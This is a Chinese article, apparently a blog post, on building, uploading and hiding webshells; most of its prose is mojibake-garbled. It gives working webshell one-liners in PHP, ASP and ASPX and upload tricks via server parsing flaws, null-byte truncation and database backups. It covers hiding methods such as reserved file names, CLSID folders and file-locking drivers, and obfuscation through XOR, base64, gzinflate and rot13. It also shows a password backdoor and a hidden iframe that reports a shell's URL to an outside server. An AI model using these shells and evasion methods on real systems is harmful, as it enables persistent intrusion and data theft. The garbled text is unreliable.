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Webshell实现与隐藏探究

Webshell实现与隐藏探究

涓???浠?涔???webshell

webshell绠?浠?

webshell锛?椤惧????涔?锛?web????????eb???″?ㄤ?锛???shell???ㄨ????璇?瑷?缂?????????绋?搴?锛?webshell灏辨??灏辨??web??涓?涓?绠$??宸ュ?凤???浠ュ??eb???″?ㄨ?琛???浣???????锛?涔???webadmin??webshell涓?????琚?缃?绔?绠$?????ㄤ?缃?绔?绠$???????″?ㄧ?$??绛?绛?涓?浜??ㄩ??锛?浣????变?webshell?????芥??杈?寮哄ぇ锛???浠ヤ?浼?涓?杞芥??浠讹??ョ???版??搴?锛????冲??浠ヨ??ㄤ?浜????″?ㄤ?绯荤????稿?冲?戒护锛?姣?濡???寤虹?ㄦ?凤?淇??瑰???ゆ??浠朵?绫荤??锛?锛???甯歌?榛?瀹㈠?╃???榛?瀹㈤??杩?涓?浜?涓?浼??瑰?锛?灏???宸辩?????webshell涓?浼???eb???″?ㄧ??椤甸?㈢????褰?涓?锛??跺????杩?椤甸?㈣?块????褰㈠?杩?琛??ヤ镜锛???????杩????ヤ??ヨ??杩??ユ???扮??涓?浜??稿?冲伐?风?存?ュ?规???″?ㄨ?琛??ヤ镜??浣???

webshell????绫? webshell?规????????浠ュ??涓?HP?????ㄩ┈锛?ASP?????ㄩ┈锛?涔????轰?.NET???????ㄩ┈??JSP?????ㄩ┈???ㄥ?藉?锛?杩?????ython????璇?瑷??????ㄦ??缃?椤碉?褰??朵???涓?涔??稿?崇??webshell??

?规?????戒???涓哄ぇ椹?涓?灏?椹?锛?灏?椹???甯告????涓??ヨ???ㄩ┈锛?渚?濡?锛?<%eval request(??pass??)%>??甯告??杩??ヨ?????ヤ?涓???妗i??????跺????浠跺???规??xx.asp???跺??浼??版???″?ㄤ?????杩???eval?规?灏?request(??pass??)杞??㈡??浠g???ц?锛?request?芥?扮??浣??ㄦ??搴??ㄥ??ㄦ??浠躲??杩??稿?浜?涓??ヨ???ㄩ┈??瀹㈡?风????缃??????″?ㄩ??缃?锛??虫???洪??缃?锛?锛?

<form action=http://涓绘?鸿矾寰?/TEXT.asp method=post>
<textarea name=value cols=120 rows=10 width=45>  
set lP=server.createObject("Adodb.Stream")//寤虹??娴?瀵硅薄 
lP.Open //??寮? 
lP.Type=2 //浠ユ?????瑰? 
lP.CharSet="gb2312" //瀛?浣????? 
lP.writetext request("newvalue")  
lP.SaveToFile server.mappath("newmm.asp"),2 //灏??ㄩ┈??瀹逛互瑕?????浠剁???瑰?????ewmm.asp锛?2灏辨??宸茶? ?????瑰? 
lP.Close //?抽??瀵硅薄 
set lP=nothing //???惧?硅薄 
response.redirect "newmm.asp" //杞???newmm.asp  
</textarea>
<textarea name=newvalue cols=120 rows=10 width=45>锛?娣诲?ョ?????ㄩ┈????瀹癸?
</textarea>
<BR>
<center>
<br> 
<input type=submit value=??浜?gt;
           

杩?????杩???浜よ〃?????瑰?锛?灏??ㄩ┈??浜や??伙??蜂?????娉???灏?瀹?涔?涓?涓?瀵硅薄IP锛??跺??浠ユ?????瑰?????ewvalue???㈢????瀹癸?newvalue????瀹瑰??extarea瀹?涔?锛?锛????ヤ互瑕??????瑰?浜х??ASP??浠讹??跺???ц?杩?涓????????朵腑瀹㈡?风??涓???value浠h〃????琛ㄥ??????瀛?锛?蹇?椤昏????$??锛????猴???post??浜や腑??琛ㄥ????涓??凤???浠ヨ?????value??浠ヤ负浠绘??瀛?绗???稿?浜?涓?涓?瀵???涔?绫荤??涓?瑗匡?浣???杩?涓???瀵?????????????锛???浠ユ????涓??ャ??PHP??涓??ヨ??????璺?浠ヤ???????宸?涓?澶?锛?灏辨??璇?瑷???宸???瀵艰?磋??娉?涓?????杩?灏辨??灏?椹????烘??宸ヤ???????

澶ч┈??宸ヤ?妯″?绠?????澶?锛?浠?娌℃??瀹㈡?风??涓????$?????哄??锛?灏辨??涓?浜?????澶х???存?ユ??涓??ヨ???ㄩ┈?????$???村???颁?涓?璧凤???杩?涓?浼?婕?娲?灏?澶ч┈涓?浼?锛??跺??澶??惰?ュぇ椹???url?板???存?ヨ?块??锛??ㄩ〉????ц?瀵?eb???″?ㄧ??娓???宸ヤ???浣?????浜?缃?绔?瀵逛?浼???浠跺??浜?涓ユ?肩?????讹???涓哄ぇ椹??????借?澶?锛???浠ヤ?绉??稿?硅?澶э?寰??????借??轰?缃?绔?涓?浼????讹?浣???灏?椹???浣?绉???浠ユ?у?讹?姣?濡???浠g??澶??跺?澶???锛??????ㄤ?涓?涔辩????浠朵腑澶瑰?ヤ唬??锛?锛?浣???灏?椹???浣?璧锋?ユ??杈?绻???锛???浠ュ??涓?浼?灏?椹??垮??ebshell锛??跺????杩?灏?椹???杩??ヤ?浼?澶ч┈?垮?版???″?ㄣ??

浜???濡?浣?涓?浼?webshell

1.瑙f??婕?娲?涓?浼?

?板?ㄥ?逛?涓?????web???″?ㄧ郴缁?瀵瑰?????涓?????web???$??绋?搴?锛?windows绔?涓绘?????iis锛?linux绔?涓绘?????nginx??杩?浜????″?规??寤?eb???″?ㄦ??渚?浜?寰?澶х??甯??╋????蜂?瀵规???″?ㄥ甫?ラ???o?杩?浜????″?ㄤ??藉???ㄤ?浜?婕?娲?锛?寰?瀹规??琚?榛?瀹㈠?╃?ㄣ??

(1)iis??褰?瑙f??婕?娲?

姣?濡?锛?/xx.asp/xx.jpg

?界?朵?浼?????JPG??浠讹?浣???濡???璇ユ??浠跺??x.asp??浠跺す涓?锛??d釜iis浼???杩?涓??剧????浠跺???xx.asp瑙f??锛?杩?涓?婕?娲?瀛??ㄤ?iis5.x/6.0??????

(2)??浠惰В??婕?娲?

姣?濡?锛?xx.asp;.jpg???ㄧ?椤典?浼????跺??璇???????jpg??浠讹?浣???涓?浼?涔???iis涓?浼?瑙f??;涔?????瀛?绗?????蜂???璇ユ??浠惰В????asp??浠讹?杩?涓?婕?娲?瀛??ㄤ?iis5.x/6.0??????

(3)??浠跺??瑙f??

姣?濡?锛?xx.cer/xx.cdx/xx.asa????is6.0涓?锛?cer??浠讹?cdx??浠讹?asa??浠堕?戒?琚?褰??????ц???浠讹????㈢??asp浠g??涔????蜂??ц???锛??朵腑asa??浠舵??asp?规??????缃???浠讹?cer涓鸿??涔???浠讹???

(4)fast-CGI瑙f??婕?娲?

??eb???″?ㄥ???fast-CGI???跺??锛?涓?浼??剧??xx.jpg??

??瀹逛负锛?

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell])?>');?>
           

杩???浣跨?ㄧ??fput??寤轰?涓?shell.php??浠讹?骞跺???ヤ??ヨ????璁块??璺?寰?xx.jpg/.php锛?灏变??ㄨ?ヨ矾寰?涓?????涓?涓?涓??ヨ???ㄩ┈shell.php??杩?涓?婕?娲???IS 7.0/7.5锛?Nginx 8.03浠ヤ?????瀛??ㄣ??璇?瑷???澧?锛?PHP锛?prel锛?Bourne Shell锛?C绛?璇?瑷???

*娉??fast-CGI??CGI????绾х??锛?CGI???????ㄦ???″?ㄤ???渚?浜烘?轰氦浜????ュ?o?fast-CGI??涓?绉?甯搁┗????CGI????涓?GI姣?娆℃?ц??跺??锛??介??瑕???ork???ㄤ?涓?杩?绋?锛?浣???fast-CGI灞?浜?婵?娲诲??灏变??存?ц?锛?涓???瑕?姣?娆¤?锋???ork涓?涓?杩?绋???姣???????CGI??????瀛?灏???

(5)apache瑙f??婕?娲?

apache瑙f?????瑰???浠??冲??宸?В??锛?濡???涓??借В??????锛?灏变??冲乏绉诲?ㄤ?涓?锛?浣??????颁?浼???甯告????涓?浼???浠剁?????崇??涓?涓???缂?锛???浠ユ?规??杩?涓?锛???浠ュ?椹??藉??涓?x.php.rar锛???涓?pache瑙f??涓?浜?rar锛???浠ュ??惰В??涓?hp锛?浣??????颁?浼??瑰氨灏??惰В??涓?ar锛?杩??峰氨缁?杩?浜?涓?浼???浠跺??缂????? 2.????涓?浼?

?ㄤ?浼??剧?????跺??锛?姣?濡??藉??1.asp .jpg(asp???㈡??涓?绌烘??锛??ㄤ?浼????跺??锛???C????burpsuite???拌〃??锛?灏?涓?浼???asp???㈠??涓?%00锛???urpsuite???㈠??浠ョ?存?ョ?杈?HEX?硷?绌烘?肩??HEX?间负20锛?灏?20?逛负00锛?锛?濡???HEX涓?0???跺??琛ㄧず????锛?20琛ㄧず绌烘?硷?濡???琛ㄧず???????跺??灏变负??瑙?????涓???JPG楠?璇?璇??ワ??存?ヤ?浼?ASP??

3.???版?版??搴?澶?浠? ?ㄤ?浜?浼?涓??????扮?$??绯荤?涓?锛????㈡??涓?椤瑰???芥??澶?浠芥?版??搴?锛?姣?濡?????ms???㈠氨??澶?浠芥?版??搴??????斤?????浠ヤ?浼?涓?寮??剧??锛??剧?????㈠????涓??ヨ???ㄩ┈锛?????灏?澶ч┈?规??jpg?煎?锛??跺???ㄦ?版??搴?澶?浠藉???斤?灏?杩?寮??剧??澶?浠戒负asp绛??朵???瀹瑰??浠ヨ?瑙f??涓鸿????璇??ョ???煎?锛??跺??????杩?web璁块??灏卞??浠ユ?ц??ㄩ┈浜?锛?浣???杩?绉??规?寰???浜?锛??板?ㄥぇ澶??扮??cms宸茬???杩?绉?澶?浠界?????藉??娑?浜?锛?????绂??ㄤ???

4.?╃?ㄦ?版??搴?璇??ヤ?浼?

(1) mysql?版??搴?into outfile

杩?绉??瑰???????蹇?椤绘??璇ョ?绔????稿???娉ㄥ?ョ?癸???涓?褰????ㄦ?峰?椤昏???涓?浼???????锛???涓?蹇?椤绘??褰???缃?椤靛?ㄦ???″?ㄤ???缁?瀵硅矾寰????规????ㄨ?????ヨ???灏?涓??ヨ???ㄩ┈瀵煎?ュ?扮?绔?涓?杈圭??涓?涓?php??浠朵腑?伙??跺??浣跨?ㄦ???$??杩??ヨ?ョ?绔???浣???涓?杩版?规??′欢杩?浜????伙?涓??????扮?????靛?灏???

(2)寤虹???拌〃???ユ?ㄩ┈

涓?浜?寮?婧?cms???????剁??webshell浼????版??搴?绠$?????斤??ㄦ?版??搴?绠$?????介???㈡??sql?ヨ?㈠???斤???浣跨??reate table shell(codetext);??寤轰?涓???瀛?????shell??琛??琛ㄩ???㈡??????????code锛?绫诲??涓?ext???跺??浣跨??nsert into shell(code) values(??涓??ヨ??椹???)锛?杩???璁?hell琛ㄤ腑??code??璧??间负涓??ヨ????椹?锛??跺????杩???瀹?涔?澶?浠斤?灏?璇ヨ〃澶?浠戒负x.php;x?跺??灏辫?瑙f????涓?hp?跺???ц?浜?锛?杩???涓???x.php;x灏变?瀹??藉?瑙f??涓?hp锛?涓?????web???″?ㄤ??㈢?????$?搴?涓???锛??跺??杩?婊よ???涔?涓???锛????戒?浣跨?ㄥ?朵????瑰???

(3)phpMyadmin璁剧疆??璇?

phpMyadmin?ㄦ?ョ?$??缃?绔??版??搴???涓?涓?宸ュ?凤??朵腑config.inc.php涓哄?堕??缃???浠讹??ㄦ?ョ????璇ユ??浠剁???跺??锛?濡??? c f g [ ?? S e r v e r s ?? ] [ cfg[??Servers??][ cfg[??Servers??][i][??auth_type??]???扮???艰?剧疆娌℃??璁剧疆锛?榛?璁や负config锛?璇存???ㄧ?婚???版??搴????跺??娌℃?????稿???楠?璇?锛???浠ョ?存?ヨ??ユ?版??搴?锛???涓???ysql?ㄤ?浜?????涓??㈤?璁ょ?婚???芥??浠?oot?ㄦ?疯?琛??婚??锛??崇?$????锛?锛???浠ョ?婚??杩??讳负??澶ф??????浣???root涓??????芥???扮?婚??锛???浠ュ?椤诲??寤轰?涓?杩?绋??婚???ㄦ?枫???ㄨ?绋??婚???ㄦ?风?婚??涔???锛???寤轰?涓?琛???跺????灏?涓??ヨ???ㄩ┈???ャ??

涓???webshell????瀹??ㄢ??

1.?充?webshell??????

?ㄤ?浼?webshell???跺??蹇?椤昏?杩?琛?webshell??????宸ヤ???????webshell锛?绗?涓?涓???????涓?璁╃?绔?绠$???????伴┈灏??跺????锛?绗?浜?涓???????涓轰?涓?琚??朵???Hacker???颁?杩?涓???浠跺苟??浠ュ?╃?ㄣ??

锛?1锛?澶ч┈??????

??涓?姝诲?靛案

windows绯荤?瀛??ㄧ郴缁?淇?????浠跺す??锛?windows涓???璁哥?ㄨ?浜???瀛??ュ?藉????浠跺す淇?????浠跺す锛?aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt??浣???杩?浜???浠ヤ娇??indows??copy?戒护??寤猴?姣?濡?锛?

c:\>copy 3.asp \\.\C:\aux.asp
           

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image020.png

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image022.jpg

????涓???寤轰?涓?aux.asp??杩?涓???浠舵??娉??ㄥ?惧??????????ゃ??

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image023.png

瑕????ゅ?椤讳娇??el?戒护??

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image024.png

???や?涔?????娌℃????绀虹??锛?浣?????浠剁‘瀹?娌℃??浜???

褰??剁?ㄨ??风???规??界?跺??浠ュ??寤轰?涓??惧舰???㈡??娉????ょ??webshell锛?浣???濡????存?ユ?惧?ㄧ?椤垫?圭??褰?涓?锛?琚???缁?楠???缃?绠$???拌????????ょ????

??lsid????

windows姣?涓?涓?绋?搴??芥??涓?涓?clsid锛?濡???灏?涓?涓???浠跺す?藉??涓?.{绋?搴?clsid}锛??跺??杈??ヤ?涓?涓ゆ?″?戒护锛?

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image026.jpg

??寤哄??

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image027.png

?瑰?杩??ョ?????у?堕?㈡?匡?浣????跺??璇ユ??浠惰?????浠跺す锛????㈣?瀛??ㄥぇ椹?锛???涓???寤轰?涓?杩??蜂?涓?甯???clsid????浠跺す灏??跺?藉??涓虹?稿???绋?搴???浠ヨ糠??缃?缁?绠$??????瀹??帮?姣?濡?杩??ュ???剁????浠跺す涓???寤鸿??蜂?涓?甯??????剁??clsid????浠跺す锛??ㄩ???㈤???㈠??copy涓?涓?淇???瀛?asp锛?杩???浠ヤ娇??

Default

attrib +h +s +r +d/s /d
           

淇??硅?ユ??浠剁??灞??э?灏??堕????锛?涓???windows?芥??榛?璁や??剧ず??????浠剁??锛???涓????剁????浠跺す?????ㄥ??寤虹??锛?杩??峰??浠ヨ揪?伴????涓?涓?涓?姝?ebshell?版???″?ㄤ腑?汇??

?㈤┍?ㄩ????????

???????ㄤ?锛???indows??浠剁郴缁?涓?锛???寮???浠跺す???跺??绯荤?浼?????涓?涓?IRP_MJ_DIRECTORY_CONTROL?芥?帮?杩?涓??芥?板??浠ュ????涓?涓?缂??插?猴?灏?璇ユ??浠跺す涓???瀛???浠跺す????澶???寰??扮??淇℃??瀛??捐?崇??插?猴??ㄩ???????跺??锛?瀵绘?惧?归??????浠跺??锛?濡?????浠跺???归??锛?灏辩?杩?褰?????浠跺す??????浠讹?瀵逛?缁?杩???????锛????ヨ???涓?浠g??锛??规????????瑙o?瀹????规??灏????????????ㄦ?ヨ?㈠?扮??????浠剁???跺??锛???涓?璇ユ??浠剁????绉婚??锛?涓???????????浠跺す锛??存?ヨ烦杩???

瀵逛?杩?绉???????瀹??斤??界?剁?涓?寰?澶?C??婧???锛?浣?????浣?璧锋?ユ??涓?瀹????伴?撅???涓哄ご??浠剁??????锛?杩???绯荤???????锛?涓???绯荤?????浠剁郴缁?浼?涓???锛?锛??ㄧ?涓??ユ?惧?颁?Easy File Locker绋?搴?锛???瑕?灏??跺??瑁???eb???″?ㄤ?锛?瀵圭??????浠惰?剧疆??????

Default

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image028.png
           

??????璁剧疆????璇?ccessable锛?????writable锛?????deletable锛???瑙?visible??

Default

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image030.jpg

涓??惧??浠ョ???版??浠?灏??堕????浜?锛?濡???????璇达???涓虹?存?ョ?杩?浜?????锛??d?璁块??缁?瀵硅矾寰??村??浠ヨ?块??????????瑙f??锛?

Default

c:\WINDOWS\xlkfs.dat

c:\WINDOWS\xlkfs.dll

c:\WINDOWS\xlkfs.ini

c:\WINDOWS\system32\drivers\xlkfs.sys

杩?4涓???浠朵唬?夸??????ヨ???瑕?璁块????????????浠讹?杈??ョ?瀵硅矾寰?骞朵???搴??ㄧ?瀵硅矾寰??ヨ?????????杩?涓???涓???浠惰?琛????ヨ????稿?浜?缁???????浠跺??浜?涓?涓???????椹卞?ㄣ??

涓轰?涓?琚?绠$???????帮???浠ュ?Easy FileLocker??绋?搴????わ?浣???涓??藉???や?杩?涓???浠躲?????ょ?搴???锛?杈??ョ?瀵硅矾寰?杩?????浠ヨ?块??锛?灏辫揪?颁????????ㄧ??浣??? ?f敞??琛ㄩ????

娉ㄥ??琛ㄨ矾寰?锛?

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer锛?dvanced\Folder\Hidden\SHOWALL
           

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??澶存??浠跺????????

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asp????璇??ワ?<!??#includefile=????浠惰矾寰?????>锛??存?ュ~?ヨ矾寰?锛???浠惰矾寰???web???″?ㄤ???璺?寰???

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php????璇??ワ?

Default

<?php include($include);?>
           

杩?????$include??浠ユ??澶??ㄨ矾寰?姣?濡?锛?

http://www.aaa.com/1.php?Include=http://www.bbb.com/hehe.php
           

杩?涓?aaa涓???1.php??瀹逛负

Default

<?php include($include);?>

锛?琛ㄧず??????bbb??澶??ㄦ???″?ㄧ??锛???????杩?涓????″?ㄤ??芥????PHP??????灏?浼???bb杩?涓????″?ㄤ??ц?hehe.php锛??充??ヨ??椹?锛?锛???aaa涓??ц???

?¢??缃???浠堕????涓??ヨ??锛?PHP锛?

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auto_prepend_file =hehe.php

?跺????

include_path = ??E:\PHPnow-1.5.6\htdocs;??

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??04灏?椹?

404灏?椹??ㄨ?块?????跺???剧ず?烘?ヤ?涓?404椤甸???瀛??ㄧ??椤甸???浣???瀹???涓??ㄩ┈浠g??宸茬??ц?锛?涓????芥????5娆?hift??浠ュ?瀹?璋??ㄥ?烘?ャ??

?????充?webshell??????涓??ヨ??????

1.????娉?缁?杩?妫?娴?锛?PHP锛?

涓?????妫?娴?绋?搴?浼?杩?婊よ??封??_POST??,??system??,??call_user_func_array??杩??风??瀛?绗??杩?涓??跺????浠ョ?ㄦ????娉?缁?杩?涓?浜?妫?娴?绋?搴?锛??烘????????锛?php姣?涓?涓?瀛?绗??介?藉?瑰?浜?涓?涓?浜?杩??剁???硷???浠ラ???ㄥ??????瑰?锛?璁╅┈涓???涓?涓?瀛?绗??ㄤ袱涓?瀛?绗?????????兼?ヤ唬?裤??

姣?濡???涓?涓?浠g??

Default


<?php
@$_++;                             // 杩???++璁┾??_??????1
$__=("#"^"|");                 // _
$__=("."^"~");                          // P
$__=("/"^"`");                  // O
$__=("|"^"/");                 // S
$__=("{"^"/");                          // T
?>
           

?跺??????涓?涓??ヨ????浠ュ??涓?

Default


<?php @$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");         // $__???间负_POST
@${$__}[!$_](${$__}[$_]);?>
           

// 缁???涓?

@$_POST[0]($POST[1])
           

!$_琛ㄧず1???稿??锛??ㄨ??瑷?????浠h〃??锛???杩??ュ氨??0锛???锛?

浣???杩??风??缁?杩??规??稿?寮憋?浠?缁??充?涓?锛?灏辩????涓や釜瀛?绗???浜?杩??跺?煎???锛?浣?????浠?瑕??ㄦ??涓?瀛?绗??杩???搴??ㄩ?d釜瀛?绗????硷?姣?濡?

Default


$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/")
           

??浜?杩??跺?间?_POST瀛?绗????间??风??锛?瑕???妫?娴?绋?搴?浼?妫?娴?浜?杩??剁?????硷?杩???浼?琚???????

2.姝e??琛ㄨ揪寮?浠f?挎?锛?PHP锛?

php涓???涓?涓??芥??reg_replace()?芥?帮?杩?涓??芥?板??浠ュ???版?e??琛ㄨ揪寮????挎?㈠伐浣????ㄦ?挎?㈢?杩?妫?娴?绯荤?杩???瑕?php????璇?瑷????㈢??涓?涓??芥?扮?规?э??芥?板?ㄨ??ㄧ???跺??锛?濡????芥?伴???㈢??褰㈠??璧????奸???㈠?????戒护锛?灏变??ц?杩?涓??戒护??

Default

<?php
function funfunc($str){} 
echopreg_replace("/<title>(.+?)<\/title>/ies",'funfunc("\1")', $_POST["cmd"]); 
?>
           

涓?杩颁唬??灏辨???夸唬??涓?涓?杩?绋?锛?棣?????寤轰?涓?绌哄?芥?帮??跺??浣跨??reg_replace?芥?版?挎?㈣〃??cmd涓???

锛?杩?????html???㈣〃绀轰富棰?锛?涓?unfunc锛?灏?post琛ㄥ??涓????煎???? {${phpinfo()}} 锛?褰??惰?????phpinfo()??浠ユ?㈡???朵????戒护锛?锛???杩?缃????灏变????? funfunc({${phpinfo()}}) ?变?${}??浠ヨВ??{}涓?????瀹癸???浠ヨ?????phpinfo灏卞??浠ラ『?╂?ц?浜??? 3.?虫?剁????娉?锛?PHP锛? ?ㄤ娇?ㄥご??浠跺???????跺??锛???????澶存??浠?hp寰?瀹规??琚??????ㄦ?????帮?杩??跺????浠ヤ娇??ile_put_content??寤轰?涓???浠讹????㈠??濡?php??涓??ヨ??椹????ㄨ?块??涔?????????椹?锛?浣???杩?涓??芥?版??杈?????锛?寰?瀹规??琚????? 4.???挎?锛?asp锛? ??涓烘????asp???″?ㄤ负浜??叉????ヨ??椹?锛?浼?杩?婊?lt;%,%>锛???浠ヤ娇??? Default

<scriptlanguage=VBScriptrunat=server>execute request("cmd")</Script>
           

???界?稿??锛?灏辨????釜褰㈠???

???跨?瑰??????璇?瑷?锛?aspx涓??ヨ??

Default

<script language="C#" runat="server">WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");</script>
           

杩???浣跨??#璇?瑷???涓??ヨ??椹???

5.????娉?锛?asp锛?

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杩???????娉???寮虹??锛?

Default

<%IfRequest("MH")<>"" Then Execute(Request("MH"))%>
<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>
           

浠ヤ?涓ゅ?ヤ娇?ㄤ?if涓??ュ??跺??寮?锛?涓?蹇????冲?????瀛?绗?????锛???涓轰???asp?瑰???涓?val(request????execute(request锛?????浜?涔???妫?娴?涓??扮?瑰???锛?灏辩?存?ョ?杩?浜???

6.涔辩????褰??ANSI->Unicode??瀵?锛?

Default

<%eval request("#")%>??褰?负???兼???哥?f?寸???ユ?电?斥?ㄢ?b?╂?锯??
Default



eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%&gt;
           

涓????琛?浠g???????ㄤ?ascii??瀵????规?锛?chr(114)浠h〃????ascii涓???缂??蜂负114涓??d釜瀛?绗??????涓?杩颁唬??杞??㈠????浠g??涓? Default

<%eval (eval(request("brute"))%>
           

7.澶ч┈????

锛?1锛?base4code缂???

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Default

@eval(gzinflate(base64_decode( c o d e ) ) ) ; 灏??? 浠???琛? ?? ?? 浜? ?? ??涓? 锛? code))); 灏卞??浠ユ?ц?????浜????朵腑锛? code)));灏卞??浠ユ?ц?????浜????朵腑锛?code???????ㄦ?ュ????ase4??code??锛??ц????跺????gzinflate瑙e??锛???val?ц????跺??杩?绉?涓??界??姝f??涔?涓???????锛?浠ヤ负base4code??eval杩?????琚????ョ?瑰???琛???锛??ㄨ??????ㄧ???跺?????蜂?琚???????

锛?2锛?ROT13缂???锛?php锛?

str_rot13??php?ㄦ?ョ?????涓?涓??芥?般????浠ュ?╃?ㄥ???ョ???????浠g???ョ?杩??瑰?????妫?娴?锛?姣?濡???

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image031.png

?句腑??strrev?芥?版???ㄦ?ュ??杞?瀛?绗??涓轰???杩??瑰?????妫?娴?锛?杩??瑰?板?瀛?绗??ㄢ??.???烽??寮???

?句腑3涓?str_rot13????瀵???瀛?绗??娆℃??gzinflate锛?str_rot13锛?base64_decode锛??稿?浜?涓?????瀵?锛???涓?涔????夸?gzinflate锛?base64_decode杩?涓や釜?瑰?????浣???娌℃??????tr_rot13???????芥??????杞?浼?灏?str_rot13涔?浣?涓虹?瑰?????

ROT13??涓哄??杞?13锛?灏辨??璁插???瀛?绗??ㄥ??姣?琛ㄤ腑??浣?缃??煎????3瀵瑰???瀛?绗???瀵?????瀵?涓ゆ?″氨???板???ョ???间???浣????变?绠?娉??哄??锛???瀵???寮哄害涔?涓?寮恒????涓??磋В???瑰???涓虹????锛???瑕?????瀵?涓?杈瑰氨??浠ヤ???

锛?3锛??朵?缂???

涓?????杞????????ㄩ?戒??ㄧ?瑰????ュ?ゆ??????????姣?锛??ㄥ?瑰ぇ椹?????灏?椹?锛?涓??ヨ??椹???????澶??????跺??锛?涓????戒???hp????asp????涓???瀵?绫荤???芥?版?ュ??瀵?缁?杩????????姣?濡?base4锛?rot13绛?锛?锛?浣?????瑙?寰???浠ヨ??宸辩?????瀵?绠?娉?锛??跺??浣跨?ㄨ??宸辩???????瀵?绠?娉???瀵?????浠g??灏卞??浠ョ?杩?涓?浜??瑰?????????浠ヤ娇?ㄤ?浜?????瀵???锛?绉讳???瀵?绛???瀵???娈电?????筹???涓?娈靛??瀵?绠?娉?锛??跺??灏?????浠g??杩?琛???瀵?锛??跺??base4锛?rot3杩??风???瑰???灏变?娑?澶憋???????浠ヤ??d?楹荤????存?ョ?ㄨ???剁????瀵?绠?娉???瀵??瑰???锛??跺????浣跨?ㄧ???跺??灏??惰В瀵?灏辫?浜???

杩???浠ヤ娇??ES锛?RSA杩??风??瀵??ュ??瀵?绠?娉?涔???浠ワ?涓?????澶ч┈?戒???涓?涓?瀵??????婚??妗?锛???浠ヨ?茬?婚????????瀵???璺?瑙e??瀵??ヨ???ㄨ捣?ワ?杈??ユ?g‘??瀵????????藉?瑙f??锛?涓??归?㈡??涓轰???杩??????ㄤ???杞????ユ??锛?????逛究锛?杩?涓?澶ч┈?充娇琚???浜烘?垮?颁?锛?涔???娉?瑙e??锛????板?朵腑??婧?????

浜????充?webshell?????? 涓???缃?涓?涓?杞界??澶ч┈??澶???灏????戒????????杩?浜????ㄧ?存?ュ?艰?翠???浠??跨??缃?绔?琚???浜洪『甯??胯蛋浜?锛???浠ュ?ㄧ?涓?涓?杞界??澶ч┈蹇?椤诲??妫??ユ??娌℃?????ㄣ??

姣?濡?杩?????涓??藉????锛?

Default

end function
if session("hehe")<>userpassthen
ifrequest.form("pass")<>"" then
if request.form("pass")=userpassor request.form("pass")="1111111" Then
session("hehe")=userpasss
response.redirect url
else
杩???

Default
           
request.form("pass")=userpass
           

??????涓轰?灏?pass???艰?琛?楠?璇?锛?濡???杈??ョ??pass?肩??浜?userpass?????碉?灏变唬琛ㄩ??璇?????锛?浣???????

Default

orrequest.from(??pass??)=??1111111??
           

琛ㄧず濡???杈??ョ??pass?间负1111111锛?涔???浠ョ?诲?澶ч┈??褰??讹?杩?涓??版?逛????戒?杩?涔?绠???锛???浣???瀹??ㄥ??浠ユ??userpass璧??兼??涓轰袱涓?锛?娣诲??涓?涓?userpass?瑰????瑙????′欢锛??ㄤ??诲????跺??瑙???杩?涓??′欢锛?姣?濡?璇村????诲?澶辫触???跺??灏?瑙???userpass?肩???存?帮?锛?杩??峰氨??浠ユ坊??涓?涓????????涓?瑙????′欢??浠g??涓?楠?璇?浠g????????杈?杩?锛?涔?涓?濂芥?ユ?撅?杩?涓??跺??灏遍??瑕???浠???澶ч┈??浠g????琛???????

?跺?????ㄦ??舵??椹?锛?

Default

<iframe src=???ㄥ?板?? width=0 height=0></iframe>
           

杩?涓??版?瑰??炬?ョ???板??瀹藉害??楂?搴??ㄨ?剧疆涓?锛?灏辫?ラ〉?㈠氨????浜??????㈢???????ㄥ?板??????????宸辩???????朵俊???????灏??朵俊?????惧?拌??宸辨??寤虹??涓?涓???缃????″?ㄤ?????朵俊????濡?涓?锛?

Default

<%url=Request.ServerVariables("HTTP_Referer")
????set fs=server.CreateObject("Scripting.FileSystemObject")
????set file=fs.OpenTextFile(server.MapPath("hehe.txt"),8,True)
????file.writeline url
????file.close
????set file=nothing
????set fs=nothing
%>
           

?朵腑

Default

url=Request.ServerVariables("HTTP_Referer")
           

琛ㄧず璇锋???瀛?绗?浆??瀹癸??冲ぇ椹???url?板??锛??跺????url?板??淇?瀛??板?????褰???hehe.txt??

瑕????鸿?绉????ㄩ???蹇?椤诲??瑕??村??澶ч┈绗?浜?绉?瀵???楠?璇?锛??充??藉?????????ょ?稿?崇?????戒唬??锛??跺?????ユ?炬??娌℃??asp澶ч┈椤甸?㈡??娌℃??渚?濡?width=0 height=0杩??风??????url锛??ユ?惧?烘?ュ??跺???ゃ??

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